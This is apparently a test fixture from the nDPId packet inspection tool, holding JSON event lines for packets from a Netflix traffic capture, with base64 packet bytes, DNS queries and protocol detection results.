+00427{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":578403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0W0dAACoG18k0WSeLwKgBBwBQz6CC\/YxRlS\/yrIAQAEtWaAAAAQEICq2I1xgfZPdU"} +02364{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":580164,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXciXJAAEAGjhbAqAEHNFkni8+gAFCVL\/38gv2MUYAQEBXZIAAAAQEICh9k95CtiNcYUTBGQlFVVkNSVXN2TWxoSldGRnNOM2xVVFRkSmIyZGljV2RZTlcxQ01FWndjVVJJU0RkWVpXWjNVMjV1VUhwWlQzRjVlRzl6VHlzdlNrWlVkWEJTVEZBd09XWnVVR1V6VjAwNEwyUnVkRVl4WVZaWE5ESmtNbXRzTDJkSGFuSnhiRE55U2tZM1dHVmlXWHBqVTJ0SVdGbEpja1ZMVlVWbVprdHVhbTQ1VEhwdWJVNWFPWFY0SzFsaEwySlBSblp4VWxsNk5sTmpMMG8zZERoT1QwWk1TV2gwY25oRWFHazFWVGhUZVhsek9URlNiRzB4TDFKRFR6Z3lRbk5GU1VJMWNVdDRUbFJoZG5wMGNrcGlTa3hsVTFSUmJIZE9VRGxUZW1OWlozUk5RVWROZUU4dmJGRmFUbkpvZG5CQ01qTXdWRUpoYVZGak5tMHdTRXBCTlZaRllTdDNXVUZ5YTNWRGJVSTFlRXRET0VSTEwycE9SMkp4Y1VoU05FOW9lR2x2YW1welNHZGlUWEowTjNGVFZUQm5abEpqT1d4TmN5OXZVMWhTVlhoVVNrZEhjMjFPVml0dmJVdzFNM2RoV0RGSWMxcG9NR0ZJV0RFMk1IYzFUVGRVTjAxeFpsWnZPVUpMZWtkYVNtVmtRVWhPYldjeFR5dEJjM055VldkSlVEQndkVzFMWnpjd1Rsb3dVbm92TURCWE1tRnJRMU5XTlc5UldWcDRja0pEWTBoc2NqVmFVR1Y1YVdwR09HeHZSMVpJU0dabVQzQmpXV3BrVTBJM1VGVnFOMkZNU25sbGJrVnBSMlJQZVdOUkx6ZENhbWxGVjJ4VVRGazBjRVl2UjI5M1MxWTNUaTlZVEhGUlJUbDFlbGw1YjJaaFdYTldjMHhOYzFCcE1rc3pVVUY2UTBFMGJGVklTMmhNU0dKV1dVUTNLM0ZPYkVScUwwWnhXR1ZTY3pKM1pUQm5jbFJXTlZFdmMwWlZNRWw0VjNWSVYyaG9UbmRTYVRSTGRteFBjbEZ3VkhCdlYySlhNSGhTWW5KbU9VSlZZVmRpS3pORU9VZFBTekJZVHpKTGMwTlRhRVJYTjI5bU1WUXhjbTl6TkdWaFUyZ3dWeTlJVTJreGNpdGFNMDFKYzJsclprOU5VVzFIUnpjaUxDSnlaVzVsZDJGc2QybHVaRzkzSWpveE5EZzBOREExTkRRNExDSnpaWEpwWVd4dWRXMWlaWElpT2pFMU9URXlNVGs1T0RBeE9UWXpOREVzSW1WNGNHbHlZWFJwYjI0aU9qRTBPRFUxTWpnMk5EZ3NJbk5sY1hWbGJtTmxiblZ0WW1WeUlqbzRmUT09In0sInNpZ25hdHVyZSI6IjJNTVNLZ3VKbUtmSlFCRk5hN3Z6bUlaWUdSUHZiL3RaWFBHYytLeWRkZ1U9In17InBheWxvYWQiOiJleUpqYVhCb1pYSjBaWGgwSWpvaU1FTmlkMFJ3YUVseU4yRnNLMVpNVkVKWGFqazFaRWxrZUVkbFFsTnVlRTluZDNSSWFUWnJSelZGUzA1clRrdElZMEZhUVZWRGNqUnlWMUZTWjJFNFEyeFVUa0ZRTVUxV1EwaGphVkkyU0dORmNXVktTMkV4ZVRGa1NsTk5OelJXZDFKdmIwWTFZbmhqY0VGS1FVWmlkRkV5Tkd3M2NYRkllRGQyZW01emIzcFdXRzFDZDFWRGVXVlFia2s0Ym1aVGVITjJNakZMV2pOWlUwWkZRbXRGV2tseWNqSklNamxEWVVKa05GVXJXWGxSV0RkclZHUldTM04zWkdscVNuUnZaMjlITnpVM2VpdFBUak5NSzJsdFFtWXpZV0prU0d0RmIyUlhjbXRGYjFobU5YcHlLemhWVkU1MFJITTBUbTFFUkV4blpERklkRW81Y0ZkSWFuaGtSakpQTjE="} +00427{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":583956,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0W0hAACoG18g0WSeLwKgBBwBQz6CC\/YxRlS\/4VIAQAFdQswAAAQEICq2I1xkfZPdU"} +02364{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":585608,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcrRFAAEAGanfAqAEHNFkni8+gAFCVMAOkgv2MUYAQEBUxvAAAAQEICh9k95WtiNcZWlpTU3N6VXpCT2VsSjNMMFpMVkhoaGVtaFVWalJHT0VKVmIwaENURzVaTTA1TVNYTlJibTF3VUVGcFVrZDZTV05DTlVoRk9HdDJXbEZVWVc5MFRXUlNORlZNS3pWRE9UZGpVVk5QUVZOaE9DdGpUalZrUjFsUGVrTmtSbmxCWnpaUlpVTkVNVEZEUkU1UWVsWmxLME16TkRONFRGbExTRXBSU1hwdFFtcHlaVlJFYjFKYWNsbFdWMWwwZWtKek9UUnVkRVp6VjBsNU4yMVdRa0pNVjA5bldETk1NVGRCYjJnek1EbFZjRlF6VXpJM2JHRnBkemM0Y1ZoT1kwSnFNMnhVY1hOMFNrMW5Obmd4VVRRM1dXWnRNbGw2ZW5oTVJFUnFOSE5wTm5WcmNYVkhNMlpTU1VsdVUwZEtja1JQZFVWclFXbGpTM2RxZDIxMlJFWjBUR04xV1VrNVJERXJXR1ZSYjNNdlNYSkVRMGhYUjA1aWVWcG5WVTgxVWxCVk5FMHlOM2RpU1VoNlZuUk1TREV5TUc1RGFFeG9TV2xVUzBZclpHMVlUbk5KVVZOMFUza3liMU5FTkRkbFdGTkpjVVZPVEROdUx6bE9aRk5WYmtzeWFrcHdPVzFRY0hoTmNtMTZUMHBZZUVVM0sycDFXamhJT1VSM2FrZGhUM2xpU21GSmJETmpSMk5uTUZsYWRWUlZVblpCV0daV1VsbEZSM1F3WkZoWGRrOXJRMUoxVTIxM1UyNUZZMkZaV0hKTmExZzBZbXBZY21aWWJGa3piRkJsYlVsbEwyRTNjVFo0WjJkWWEwRm9aVUpvVEhSRFNHaHNMMUJXZURSRVdXODBPV1lyTTBoVU5ISmtNbEZyU0ZwcEwwZGhNVEJ2TkVKVlRTOVBUR1F5ZEV3eWRsRTRjbkJFUml0clRuazNWMVpJVmsxdlRpdDFNalk0VjJ4TmIyMTFXbXhKWjFVeE5VRnhiRVoyV1RONFZVaGpRa3h3WVdaWldVVXdTM2wxWVdabVRGQTVRV1JpVFRSM2EyOUZPV1ZJWkVaNEwyUXdla05CTlM5S1RsRlJWMU4wUVVoc1ZGUk5SVVpvWlV4cVNVVjNLMlJuTlVnMFJDdHFSRlZ1TTNVMFdqRlRUelV2TUc1U1R6Y3dibUZCTlZSRVkxTm1NWGxLWVZkdVJVUmhabEpxYkN0Q1lsRm9TVTE2ZFdsNFJGUXplRTlwUVd0a2FFTktXblp2VDA4NVl6aFZUbVIxTldsbVlUTllRMVZ0TUdoaVVqQlJORmRYY0dKbVFUSnRTalZQYVc5VVpqbEpkbWhUVHpCNVUwWlRkQ3RUYkVWdmEzcG1iRTk1Ukd4a1FUQjJSbEEzTHpGdWQzZExVRTF6VEdaMlIxSnNNbXRKY1ZOTGEwcDJTVlZWUTJnMmJGWmtkalpOTlhBeVNXUkRiVFJvWVNzMlEyNXBiWEp3YmxGTVdVOUdaVmxpUjFGU2VreDVhbTFNVXpWVWFYRnVhRTlYUkdkb1JGRm5jRXR1Ym5ZNVdWZGpVV1U1ZEVKb2FrNVJWVU0yYUhwVWREbExWRGxWWkV0a1ozcHVlbkphWmxZd2MzSTRURGxRTWxsWE5UbDRaRGgyU0dkTmIycHpjV2RhVTFOR1dFRlJVbVphWlhOc2NrZHFhV05yYzFkRGJuaDJTSEp5WmtKblEzbFpRMWd6Y2pOVE5WUkhVM1o1VFcxRVltaG5kekZyU0dkd2VuUmtlR1JXVWtadE0zSktMekk0UVdKTGJFUXpVelZ4WmsxYVNFSTJPV2RQVlhSaFZWZFBkM1pLZERrMFZGcEVObkJvUkUwekszcG5iMlpUU2tVdmJFNDJhSEJXZFdWQ1ptRkdibFYwVG1adWRrRkVVRzFhTm1Wd2NXaEtlVU5VSzI5dlVYWXpNbkJyVmo="} +02364{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":586042,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXc8SJAAEAGJmbAqAEHNFkni8+gAFCVMAlMgv2MUYAQEBVkjAAAAQEICh9k95WtiNcZVldhR0ZKYkZoWk9FODVjMGQxYTNkYWNtOXpUMDQzSzJ4cmFtcFdZM1UwYlhKVlVXRnVjRU5pTUVGRlpFRjRTWEZGWlVaS2RsUkNlamhZY21Sb1NsTmxUQzl1YjNCelUyRnljVnB0TVRWTE9Hb3JSVFU0ZERseU1EWkhaVE50ZUhwb1FXaFlaR1EyY1hsMk9HeGtkSEF3YVV0SU5WRnJlbFZxY2tOeVZFTmhMM2h0Y0ZNeU1Ea3hialJpVUZaSllXMU1OVTFEYURJdmJHaFJSM05zT1ZreU0yMHdjV280VmxBeU5VdHplRkZTVlhGM2FWWkNWRWxQWWtONWNUQkhOR1Z1TldKeFlsQkRXRWxSTlVoV1dVY3dNRFlyVDFocVEwbFNTMWsyU21vek9GcEJZblZRYWxSU1owOUNTM3BuUkhWRlkyczRiMjlhUldwMmFUTnFWa2RaZHpsVk1WaHRjMWhLYkM5eVYzRXdUV1p4TTJ4eFF6VXhTMk5wWjFGeVlYVTJiMFkxWkVKQlJYSXZlVUpyUlVONGN6WmFVMDlEVW1welQyMTFhMWM0WWxGeWR6QXZiVzRyVnpZclVGcFZOSGxXWVU1blRVaEtlRlUzVGxGUFlqUlllVzF3VWpWc2IxTlNZWGQ2YlZkbE9XTldVVlIxT0RnNE1FcGpUREpoVm1SQ1RFNWlNME51Y0ZjelpHVkNhemw1YzA5emNHaEtWSFpCV0hOUFF6VllkVVJQV1cxSVEza3pNVkl3Y2xOMVFUTm1XVFpOV0cwM1ZrOHlUVGxKUW1NelIya3JhbnBsVGtGU0wyeExiRFJRY2pkVGIxZ3haMUJHWjNaUVNFMHllSHBrYkdWV1MwaE5iMUJNWm0xV09IaFVkakJRVXpKVFJVNVFaa2t6ZFVOWmJYWldZVXhXU2pkdk5FNXBiMGRFU0ZNemMyNXhaSGxOTjNGMVJtUnpMekI0YzNjck1VMDBSMUZKTjB3eE0xWnNVMUZhWVd3cmNERXpNM0pPTm1Kb00wWTJXbHBQZWxaTFowVkplbGxSTmtwNFZYWXdaMkYwVEU1VGVVd3ZSV2xyTTNCS1pXUnZXRk0wV21wSVpGaDBSazlCSzJWSWRrcENLMlF4YlhsNmNFWnVkMEYzUW05elJsWmpiekE1VGtselJXSTFUVXB2VHk5WWNUbEhkWHBXY2tGV01HcE9RV1ZuTDNCVmRVaEhUM04yZWpsM1lrdzRiMGMyUWpOd09WQkRRVVYxTDFwMFRteGlNa05JV0RKRVdVZFlablJMWmtKYWJrdDNiVEJFTUhaNVNURXpaREExTjA0MFpuaDVkMkpSTm1KVVVUVlFSVlZYUVhsaFQybFBSSFZzYVdwcmNsQjBabnBSVlhReFVURmxNMmRUWWxkT05HVjVPVGx0YzBsbVJsWjJhbEE1UTFKWEwyZFpiRWhhUkdVdmMxVk5ZV1pXUlM5Nk16bGpkRGR3WmtOemJGSllkR0kwTlRoSmJpczRZVTF5ZGl0alJFbFlSRTlzU21GVU5UWkZRek5FUlVSaE9FOW9OR2RwV1VKcE5FdzRUVEV3VkZkWFQybGlPRmQwWVRoWVdXSndWMnBVWmtKdVdqSlpZVzh2TVVKT1NsTmphRE5sT1RGWkt6RjBXVTF5ZFVOR01YaHhWR2w0WVVsV2FXUndaVWxCTjJKaWVrUmtiSFowVEVwc01XOHpZeTltU0N0WWVGTk9PWGQxUzI1Q1JqUTBaVEJEWkRsYVMxWjVlRW8yV2tOSGJrWk9XVTQ1U1hjM2NuTm1XWEp6YjFvd1JXZEZWRXBCYW01emFWWjRLMEYyZUcxeU5IbDJUbkYxTjNWd1JEWkxkMGRpTmxWM1prSnRWM1lyYlVwRVFrSnFablF6TTB4Q1kyTkxMMEpLWm5odFlXRlNVVUp1YVg="} +00429{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":607039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0W0lAACoG18c0WSeLwKgBBwBQz6CC\/YxRlS\/9\/IAQAGJK+gAAAQEICq2I1x8fZPdU"} +02000{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":612670,"pkt_caplen":1242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1242,"pkt_l4_len":1208,"pkt":"gCqoTGHM5JjWH70UCABFAATMQ1NAAEAG1UXAqAEHNFkni8+gAFCVMA70gv2MUYAYEBUUegAAAQEICh9k96utiNcfSmFkVGR0UXpjd2QzbzRLMjlxVFVKWWVtazFieXRrVWtJMVNYRlRMM05CYlRNM09FMUVWUzl2ZUVzMk1XUm5kalE1T0VwTkszWk9UMHR0T1Vaa2NHZHBaMjFOTDAxSmFGVlRielJxVWpoelFqbGhVelZ2ZEV4UlNuSlhNbVp6V0U5UGF6TkJSV0pRWVdaR1pVd3JaMk53VVd4eGNXeFhXVlJNVTBsQ1RuRXpPVk4wVmtGb2RUUXJkVEpWVjFWU04xUlJMMDVRVVdkaFdraHVibTFQU1hkbWNGUk9jWGwwVmxsT1NGSkNaVTA0VEhwTVIyRlVLelV4ZFhveFVERjRTbXRIWjFoRFowSkVjSE5uVkZBeGFEQTFMMGdyUjNGSFNEQXZhVUl2VjJ0NFNVazFPVnBJWVRrcmFuWnZkSGhZY2xOcVNuSjRSek5RU25oV1V6aFNRWGhHV1U1cVpqQnNibkFyVFhScVZtZFRla3hOT0ZKalYxbDJWRlpWWlM5MFpHOXlhbmR6VEZabVVHOURjbkEzVHpVcmVrNDJhV2xIU0VOdmRXNXhlVGQ0Tmk5cldtMVVNRlJJWkhWMmNFZHZUQzh6WjFFMUsxVmFWVEZIUzFKcFkzb3dRbkpKTlVkQ2MwTmtSRUU5SWl3aWFYWWlPaUpYUm5wd01GSkVTMk5RT0ZBeVNYQllTM0ZKUm1GUlBUMGlMQ0pyWlhscFpDSTZJazVHUVZCUVRDMHdNaTFKVUVoUFRrVTJQVEV0T0RjMU9VWkRNME5GTURnek5qQTJNME15TVRBM1JEWkJNRE0xUVVZM00wUXlNelUyTnpsQlEwUTJPVU5CT1RnNE4wSkdOalExTnpCRlFUSkVSa1E1T0Y4NElpd2ljMmhoTWpVMklqb2lRVUU5UFNKOSIsInNpZ25hdHVyZSI6InBHVmRkbHdDelFzbjdFSnN2RVgwd3lJa0NwYmFmeUsyVXA1c1JXVnlLMVE9In17InBheWxvYWQiOiJleUpqYVhCb1pYSjBaWGgwSWpvaVp6VktWMGcwUVhsc2RtOWhNWE1yTDNKbmJERkljelpSVkhCQ1UyNU9XbGd5VERWeGFUWTBPVEIxYUhaaGIyWTBSRUpzV2xVNFMwNW5NbGQwUkhRME1raFphSGc0YjNsa1JUazBNREZWTlZWWVJ6WnRhWEkwVGtSRVpXbDBhVkF2VUZNMFFtTkZhbXh5WVdzOUlpd2lhWFlpT2lKRVQwUmxOWGRUWWxaR2VsSlViRmhIWWxkU05uWm5QVDBpTENKclpYbHBaQ0k2SWs1R1FWQlFUQzB3TWkxSlVFaFBUa1UyUFRFdE9EYzFPVVpETTBORk1EZ3pOakEyTTBNeU1UQTNSRFpCTURNMVFVWTNNMFF5TXpVMk56bEJRMFEyT1VOQk9UZzROMEpHTmpRMU56QkZRVEpFUmtRNU9GODRJaXdpYzJoaE1qVTJJam9pUVVFOVBTSjkiLCJzaWduYXR1cmUiOiJ2Ui9uTXBJTW5SbmU0YklpY1FONUJxQ3B0bzV4SmxRSVc3amxCcTFremw4PSJ9"} +00427{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":638023,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0W0pAACoG18Y0WSeLwKgBBwBQz6CC\/YxRlTADpIAQAG1FAwAAAQEICq2I1ycfZPeQ"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":886,"source":"netflix.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1484319049641,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51728,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":641053,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABCJHQAAP8RE97AqAEHwKgBAcoQADUALkrZBBoBAAABAAAAAAAABGE4MDMEZHNjZwZha2FtYWkDbmV0AAABAAE="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":886,"source":"netflix.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1484319049641,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51728,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a803.dscg.akamai.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":887,"source":"netflix.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1484319049645,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52347,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":645637,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABCunsAAEARPNfAqAEHwKgBAcx7ADUALmwlX+cBAAABAAAAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAE="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":887,"source":"netflix.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1484319049645,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52347,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00491{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":665892,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"5JjWH70UgCqoTGHMCABFAABi4UdAAEAR1erAqAEBwKgBBwA1yhAATkFkBBqBgAABAAIAAAAABGE4MDMEZHNjZwZha2FtYWkDbmV0AAABAAHADAABAAEAAAAMAAS4GcwYwAwAAQABAAAADAAEuBnMKA=="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":891,"source":"netflix.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_first_seen":1484319049641,"flow_last_seen":1484319049665,"flow_tot_l4_data_len":124,"flow_min_l4_data_len":46,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51728,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a803.dscg.akamai.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.25.204.24"}} +00428{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":666587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0W0tAACoG18U0WSeLwKgBBwBQz6CC\/YxRlTAJTIAQAHk\/RQAAAQEICq2I1ywfZPeV"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":895,"source":"netflix.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1484319049672,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.24","src_port":53153,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":672494,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAS8NAAEAGqRPAqAEHuBnMGM+hAFBgKjK0AAAAALAC\/\/92\/gAAAgQFtAEDAwUBAQgKH2T36AAAAAAEAgAA"} +00837{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":681348,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"5JjWH70UgCqoTGHMCABFAAFl4UhAAEAR1ObAqAEBwKgBBwA1zHsBUaLnX+eBgAABAAoAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAHADAAFAAEAAABiAA8DaW9zBG5jY3ADZ2VvwBXAMgAFAAEAAAFYABwDaW9zBG5jY3AJdXMtd2VzdC0yBnByb2RhYcAVwE0AHAABAAAAFwAQJiABCHAPAAAAAAAANChyo8BNABwAAQAAABcAECYgAQhwDwAAAAAAADQoMS\/ATQAcAAEAAAAXABAmIAEIcA8AAAAAAAA0KQT4wE0AHAABAAAAFwAQJiABCHAPAAAAAAAANCk7ncBNABwAAQAAABcAECYgAQhwDwAAAAAAADQnRIjATQAcAAEAAAAXABAmIAEIcA8AAAAAAAA0KBwAwE0AHAABAAAAFwAQJiABCHAPAAAAAAAANCh7ccBNABwAAQAAABcAECYgAQhwDwAAAAAAADQoNhw="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":896,"source":"netflix.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":2,"flow_first_seen":1484319049645,"flow_last_seen":1484319049681,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":46,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":191,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52347,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"38.32.1.8"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":897,"source":"netflix.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1484319049684,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53162,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":684933,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAHF1AAEAGFLrAqAEHNr8RM8+qAbupwyRaAAAAALAC\/\/92fwAAAgQFtAEDAwUBAQgKH2T39AAAAAAEAgAA"} +00439{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":697401,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwG+Lq4GcwYwKgBBwBQz6GV0BcIYCoytaAScSDlwwAAAgQFtAQCCAr\/\/IQ4H2T36AEDAwU="} +00427{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":700208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0bmdAAEAGhnvAqAEHuBnMGM+hAFBgKjK1ldAXCYAQEBV1gAAAAQEICh9k+AH\/\/IQ4"} 